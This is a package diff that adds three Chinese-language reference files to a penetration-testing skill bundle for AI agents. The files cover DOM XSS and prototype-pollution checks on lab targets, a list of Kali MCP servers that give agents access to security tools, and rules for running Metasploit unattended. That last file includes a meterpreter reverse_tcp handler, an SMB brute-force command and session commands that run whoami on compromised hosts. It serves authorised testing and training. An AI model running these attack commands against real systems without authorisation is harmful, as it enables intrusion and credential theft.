opencode-skills-collection 4.0.43 → 4.0.45

package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md

@@ -0,0 +1,155 @@
+# 客户端 / 现代 Web 靶场 Playbook（DOM XSS · 原型污染 · agent-browser）
+
+> 来源：Gin & Juice / Juice Shop 类合法靶场实战摩擦（2026-07）  
+> 适用：PortSwigger scanner-eval、OWASP Juice Shop、BB 前端面  
+> **MUST** 先 scope + case-guard；命中≠打穿
+
+## 0. 何时读本文件
+
+```text
+□ 页面有大量前端 JS（React/Angular/Vue）
+□ 漏洞清单写着 DOM XSS / prototype pollution / CSTI
+□ curl 只能摸到 API，需要浏览器确认 sink
+□ Windows 上 URL 带 [] 被 curl 吃掉（见下）
+```
+
+## 1. Windows curl 坑（`[]` 被当范围）
+
+**错误：**
+
+```bash
+curl "https://target/?__proto__[x]=1"   # Windows curl: bad range in position ...
+```
+
+**正确（必须）：**
+
+```bash
+curl.exe --globoff -sS "https://target/?__proto__[test]=polluted"
+curl.exe --globoff -sS -G "https://target/catalog" --data-urlencode "__proto__[test]=polluted"
+```
+
+PowerShell 里优先：
+
+```powershell
+curl.exe --globoff -sS --data-urlencode "q=test" "https://target/search"
+```
+
+## 2. 三阶段：Surface → Sink → Chain
+
+| 阶段 | 做什么 | 产出 |
+|------|--------|------|
+| Surface | 抓 HTML/JS，列 src、表单 action、API | `recon/js-urls.txt` |
+| Sink | 搜 `innerHTML` / `eval` / `location.hash` / `document.write` / `__proto__` | 候选 sink 列表 |
+| Chain | 找可控 source 能否到 sink（需 200 非数字 / 未转义反射 / merge 对象） | E-* + 是否 validated |
+
+### 2.1 静态 sink 扫（本机）
+
+```powershell
+# 下载页面脚本后
+rg -n "innerHTML|outerHTML|document\.write|eval\(|location\.hash|__proto__|parseFromString" recon\js\
+```
+
+### 2.2 agent-browser 最小环
+
+```powershell
+agent-browser open "https://target/page"
+agent-browser wait 2000
+agent-browser snapshot -i
+agent-browser screenshot work\case\screenshots\page.png
+agent-browser eval "document.getElementById('stockCheckResult')?.innerHTML"
+agent-browser close
+```
+
+**纪律：**
+
+```text
+□ 每次页面变化后重新 snapshot（ref 会失效）
+□ 用 eval 验证 sink，不要只靠猜
+□ 截图进 evidence/ 或 screenshots/
+```
+
+## 3. DOM XSS：库存类 `innerHTML = fetchBody` 模式
+
+典型代码（Gin & Juice 类）：
+
+```javascript
+fetch(path, { method, headers: { 'Content-Type': window.contentType }, body: payload(data) })
+  .then(res => res.status === 200
+    ? res.text().then(t => isNaN(t) ? t : t + " units")
+    : "Could not fetch stock levels!")
+  .then(res => document.getElementById("stockCheckResult").innerHTML = res)
+```
+
+**门闩：**
+
+| 条件 | 结果 |
+|------|------|
+| status ≠ 200 | 固定错误文案，**无 XSS** |
+| status = 200 且 body 为数字 | 显示 `N units`，**无 XSS** |
+| status = 200 且 body 非数字 | **raw HTML → sink** |
+
+**验证 sink（浏览器）：**
+
+```javascript
+// agent-browser eval
+var el = document.getElementById('stockCheckResult');
+el.innerHTML = '<b id=xssmark>SINK</b>';
+!!document.getElementById('xssmark');  // true => sink 实锤
+```
+
+**利用前提：** 找到使 API **200 + 非数字 body** 的输入（XXE 回显、错误被错误配置成 200、开放代理等）。  
+**没到利用仍要写 Evidence：** `status=observed`，写清门闩，避免假阳性「已 XSS」。
+
+## 4. 原型污染（快检）
+
+```powershell
+# URL 编码括号，且 --globoff
+curl.exe --globoff -sS "https://target/?__proto__%5Bpolluted%5D=yes"
+
+# 浏览器
+agent-browser open "https://target/?__proto__%5Bpolluted%5D=yes"
+agent-browser eval "({}.polluted || Object.prototype.polluted || 'not-polluted')"
+```
+
+```text
+□ not-polluted → 该路由没有浅合并 gadget，换 hash/postMessage/库入口
+□ polluted → 继续找 gadgets（script src、transport_url、isAdmin 等）
+```
+
+## 5. 公共 demo 不稳时
+
+```text
+□ Heroku demo 503 → 换本地 Docker / 另一合法靶 / 缩小请求速率
+□ Docker Desktop 已安装但 daemon 未 ready → 等引擎或跳过本地容器，记入 timeline
+□ 公开实例限流 → 优先读 JS 静态面，少打爆破
+```
+
+## 6. Evidence 写法（防误报）
+
+```text
+validated: 可复现利用（弹窗/读文件/越权成功）+ repro_command
+observed:  sink/面存在，门闩未过（如仅 innerHTML 赋值能力、实体被拦）
+```
+
+```powershell
+powershell -File skills\scripts\append-evidence.ps1 -CaseRoot work\case `
+  -Id E-005 -Title "DOM XSS sink: #el.innerHTML = apiBody" `
+  -ReproCommand "agent-browser eval ..." -Severity medium -Status observed `
+  -RawExcerpt "status===200 && !isNaN gate"
+```
+
+## 7. 与其他 skill
+
+| 发现 | 交接 |
+|------|------|
+| 前端签名/加密参数 | `js-reverse/` |
+| 复杂 SPA 交互验证 | `browser-automation/` |
+| BOLA 已登录 API | `api-security/` |
+
+## 8. 诚实完成标准
+
+```text
+□ 未打穿 ≠ skill 无效：必须留下 surface + sink + 失败原因
+□ 禁止把 observed sink 写成 validated exploit
+□ timeline 写清：公网 demo 挂了 / Docker 未起 / curl [] 坑
+```

package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md

@@ -0,0 +1,119 @@
+# Kali Linux MCP 生态系统（2026 年）
+
+> 来源：多个 GitHub 项目 + Kali 官方仓库（2025-2026）
+> 适用场景：在 Kali 上通过 MCP 协议让 AI agent 直接调用安全工具
+
+## 概述
+
+MCP（Model Context Protocol）已成为 AI agent 调用安全工具的标准协议。Kali Linux 从 2025.4 开始官方收录 MCP 工具，2026.1 进一步扩展。以下是当前生态中最有价值的 MCP server。
+
+## Kali 官方收录的 MCP 工具
+
+### 1. mcp-kali-server（官方推荐）
+
+- **包名**：`mcp-kali-server`
+- **安装**：`apt install mcp-kali-server`
+- **来源**：[Wh0am123/MCP-Kali-Server](https://github.com/Wh0am123/MCP-Kali-Server)
+- **功能**：轻量 API 桥接，连接 MCP 客户端到 Kali 终端
+- **能力**：运行 nmap、nxc、curl、wget、gobuster 等任意终端命令
+- **用途**：AI 辅助渗透测试、CTF 解题、HTB/THM 靶机
+- **启动**：
+  ```bash
+  kali-server-mcp --port 5000    # 启动 API server
+  mcp-server --server http://localhost:5000  # 连接 MCP 客户端
+  ```
+
+### 2. MetasploitMCP
+
+- **包名**：`metasploitmcp`
+- **安装**：`apt install metasploitmcp`
+- **来源**：[GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP)
+- **功能**：Metasploit Framework 的 MCP 接口
+- **传输模式**：HTTP（默认 8085）或 stdio
+- **启动**：
+  ```bash
+  metasploitmcp --transport stdio           # stdio 模式（推荐）
+  metasploitmcp --transport http --port 8085  # HTTP 模式
+  ```
+
+### 3. HexStrike AI
+
+- **包名**：`hexstrike-ai`
+- **安装**：`apt install hexstrike-ai`
+- **来源**：[0x4m4/hexstrike-ai](https://github.com/0x4m4/hexstrike-ai)
+- **功能**：150+ 安全工具通过 MCP 暴露给 AI agent
+- **特点**：多 agent 架构，自动化渗透测试、漏洞发现、Bug Bounty
+
+## 社区 MCP Server（非官方但高质量）
+
+### 4. Pentest Swarm AI
+
+- **安装**：`go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@v0.1.0`
+- **来源**：[Armur-Ai/Pentest-Swarm-AI](https://github.com/Armur-Ai/Pentest-Swarm-AI)
+- **功能**：群体智能渗透框架，stigmergic blackboard 协调多 agent
+- **MCP 模式**：`pentestswarm mcp serve`
+- **特点**：真正的 swarm 架构（非流水线），pheromone 衰减机制
+
+### 5. awsome_kali_MCPServers
+
+- **来源**：[ccq1/awsome_kali_MCPServers](https://github.com/ccq1/awsome_kali_MCPServers)
+- **功能**：专为 Kali 设计的 MCP server 集合
+- **覆盖**：网络分析、目标嗅探、流量分析、二进制理解、自动化
+- **特点**：面向逆向工程和安全测试的 AI 工作流
+
+### 6. Pentest-Agent
+
+- **来源**：[0xJaeg3r/Pentest-Agent](https://github.com/0xJaeg3r/Pentest-Agent)
+- **功能**：AI 驱动的渗透测试 agent
+- **工具**：nmap、gobuster、nikto、sqlmap、hydra、john、metasploit、enum4linux、wpscan
+- **架构**：基于 agno 框架，CLI + FastAPI server
+
+### 7. pentestMCP
+
+- **来源**：[RamKansal/pentestMCP](https://github.com/ramkansal/pentestMCP)
+- **功能**：专为渗透测试设计的 MCP server
+- **特点**：Docker 化部署，20+ 工具集成
+
+## MCP 使用优先级建议
+
+根据场景选择最合适的 MCP：
+
+| 场景 | 推荐 MCP | 原因 |
+|------|---------|------|
+| 通用终端操作 | mcp-kali-server | 可调用任意命令 |
+| Metasploit 专用 | metasploitmcp | exploit/payload/session 管理 |
+| 大规模自动化 | hexstrike-ai | 150+ 工具编排 |
+| 群体渗透/Bug Bounty | pentestswarm | swarm 架构，适合大目标 |
+| 逆向工程 | awsome_kali_MCPServers | 专注二进制和流量分析 |
+| 快速单目标 | pentest-agent | 简单直接 |
+
+## MCP 配置示例（Claude Code / Kiro）
+
+```json
+{
+  "mcpServers": {
+    "kali-server": {
+      "command": "kali-server-mcp",
+      "args": ["--port", "5000"]
+    },
+    "metasploit-mcp": {
+      "command": "metasploitmcp",
+      "args": ["--transport", "stdio"]
+    },
+    "hexstrike": {
+      "command": "hexstrike-ai",
+      "args": []
+    },
+    "pentestswarm": {
+      "command": "pentestswarm",
+      "args": ["mcp", "serve"]
+    }
+  }
+}
+```
+
+## 参考资料
+
+- [Kali & LLM: Claude Desktop 集成](https://www.kali.org/blog/kali-llm-claude-desktop/)（Kali 官方博客）
+- [Kali & LLM: Ollama + 5ire 本地运行](https://www.kali.org/blog/kali-llm-ollama-5ire/)（Kali 官方博客）
+- [Automating Penetration Testing via MCP-Kali-Server](https://medium.com/@linc89617/automating-penetration-testing-with-claude-lm-studio-anythingllm-via-mcp-kali-server-730cdaa65eab)（Medium）

package/bundled-skills/pentest-tools/references/msf-protocol.md

@@ -0,0 +1,169 @@
+# Metasploit 调用陷阱与正确姿势
+
+> 借鉴自 PentAGI 多 agent 系统在大规模自动化调用 Metasploit 时踩过的坑。
+
+`msfconsole` 是渗透阶段最容易把整条命令链卡死的工具。下面是**全部已知陷阱 + 正确模式**，让 AI 自动化调用 MSF 时不会变成"无脑挂死的怪物"。
+
+## 6 大常见错误
+
+| 错误 | 现象 | 后果 |
+|------|------|------|
+| 1. 不带 `-x` 直接跑 | `msfconsole` | 进入交互模式，永远等输入 |
+| 2. 命令链不带 `;exit` | `msfconsole -x "exploit"` | 永远不退出，孤儿进程 |
+| 3. 拆多次 console 调用 | 想用 sessions 但每次都新开 | 进程隔离，看不到上次的 session |
+| 4. 多余的 handler | 同时用 `exploit/multi/handler` | exploit 命令本身已经包含 handler，重复占端口 |
+| 5. 不查端口直接监听 | 直接 `set LPORT 4444` | 端口被占用 → bind 失败 |
+| 6. 孤儿进程不清理 | 多次卡死后忘了 kill | `ps aux` 一堆 ruby 进程 |
+
+## 三种正确模式
+
+### 模式 A：单次独立调用（推荐 80% 场景）
+
+把所有操作塞一个 `-x` 里，最后必带 `;exit`。
+
+```bash
+msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {callback_ip}; set LPORT {allocated_port}; exploit; sleep 20; sessions -l; exit"
+```
+
+要点：
+- `-q`：quiet，少输出，省 token
+- `-x "..."`：直接执行，不进交互
+- `; exit`：必须最后一条
+- `sleep 20`：给 reverse shell 留连接时间
+- `sessions -l`：列出当前 session（在同一进程里，能看到）
+- 调用方设 `detach=false`，`timeout=120+`，等命令真正完成
+
+### 模式 B：RPC daemon（复杂工作流）
+
+需要在多次调用之间保持 session 状态时用：
+
+```bash
+# Step 1: 先查端口
+netstat -tulnp | grep 55553
+
+# Step 2: 启动 RPC daemon，detach=true（让它独立活着）
+msfrpcd -P pass -U user -a 127.0.0.1 -p 55553
+
+# Step 3: 客户端连接，detach=false
+msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit"
+
+# Step 4: 之后再连，能看到同一批 sessions
+msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit"
+```
+
+要点：
+- 启动前**必须先查端口**
+- daemon 用 `detach=true`、`timeout=600+`
+- client 用 `detach=false`、各自有自己的合理 timeout
+- 任务结束记得 `pkill -f msfrpcd`
+
+### 模式 C：一次性批量利用（无 session 需求）
+
+只想跑个 exploit / aux 模块拿结果，不需要 meterpreter session：
+
+```bash
+msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS {target_ip}; set USER_FILE /tmp/users.txt; set PASS_FILE /tmp/passes.txt; run; exit"
+```
+
+要点：
+- 用 `run` 不用 `exploit`（aux 模块习惯）
+- 输出全在 stdout，命令结束后一次性拿到
+
+## detach 参数选择
+
+PentAGI 的执行器对终端调用有 `detach` 参数：
+
+| detach | 用途 | 何时用 |
+|--------|------|-------|
+| `false` | 等命令完成，返回 stdout | 模式 A、模式 C、所有 client 调用 |
+| `true` | 命令在后台跑，500ms 后立即返回 | msfrpcd / nc -l / python -m http.server / tcpdump |
+
+错用的后果：
+- 该 detach 的没 detach → daemon 跑到 timeout 被 kill，client 第二次连不上
+- 不该 detach 的 detach 了 → 拿不到 stdout，不知道 exploit 结果
+
+## 实战诊断命令
+
+执行 MSF 出现异常时，先跑这三条：
+
+```bash
+# 1. 查 ruby 进程（msfconsole / msfrpcd 都是 ruby）
+ps aux | grep -E "msfconsole|msfrpcd|ruby"
+
+# 2. 查相关端口
+netstat -tulnp | grep -E ":4444|:55553|:8080"
+
+# 3. 清理孤儿（确认要 kill 再执行）
+pkill -f msfconsole
+pkill -f msfrpcd
+```
+
+## 在 Skills router 里如何让 AI 用上
+
+把这套规则补到 `pentest-tools/SKILL.md` 或单独的 `pentest-tools/references/msf-protocol.md`，确保 AI 在生成 MSF 命令前先读到。
+
+最简洁的硬规则版本（直接抄到 `RULES.md` 或 skill 的 SKILL.md）：
+
+```markdown
+### MSF 调用硬规则
+- 永远不要直接跑 `msfconsole`，必须用 `-x "..."`
+- `-x` 字符串末尾必须 `;exit`
+- 启动监听前必须 `netstat -tulnp | grep [PORT]`
+- 不需要单独 `exploit/multi/handler`，`exploit` 命令已含 handler
+- 多步操作合并到一个 `-x` 里，不要拆多次 console 调用
+- 需要保持 session 跨调用 → 切到 msfrpcd 模式
+- 失败后用 `ps aux | grep msfconsole` 查孤儿，`pkill -f msfconsole` 清理
+```
+
+## 输出最小化技巧
+
+MSF 输出极冗长，直接喂给 LLM 浪费 token。优化点：
+
+- `-q`：quiet 模式（必加）
+- `set ConsoleLogging false`
+- `set LogLevel 0`
+- 解析 sessions 时用 `sessions -l` 而不是 `sessions -v`
+- exploit 完成后只看关键行：`exploit | grep -E "session|opened|fail"`
+
+## 与 OOB 攻击的配合
+
+涉及反弹 shell / DNS exfil / SSRF OOB 时：
+
+- LPORT 必须在用户分配的端口范围内（PentAGI 用容器 port forwarding，必须用宿主机已转发的端口）
+- 公网 IP 不知道时：`curl -s https://api.ipify.org`
+- 测试连通性：`nc -zv {callback_ip} {port}` 在外部跑，看是否能到容器
+
+## 反模式实例
+
+```bash
+# ❌ 直接跑 console
+msfconsole
+
+# ❌ 没 exit
+msfconsole -x "exploit"
+
+# ❌ 拆开调用
+msfconsole -x "use exploit/...; set ...; run; exit"
+msfconsole -x "sessions -l; exit"   # 看不到上一步的 session
+
+# ❌ 重复 handler
+msfconsole -x "use exploit/multi/handler; set ...; exploit -j; use exploit/...; exploit; exit"
+
+# ❌ 不查端口
+msfconsole -x "use exploit/multi/handler; set LPORT 4444; exploit; exit"
+# → 如果 4444 被占，bind error，但 console 已经退了，看不到原因
+```
+
+## 与 field-journal 的协作
+
+每次用 MSF 完成任务，回写时记一条：
+
+```markdown
+## MSF 调用模式
+- 模式：A 单次 / B RPC / C 批量
+- 端口冲突：是 / 否（如何解决）
+- 孤儿进程：是 / 否（清理命令）
+- 关键参数：LHOST / LPORT / PAYLOAD 的最终值（脱敏）
+```
+
+这样下次同类任务能直接复用配置。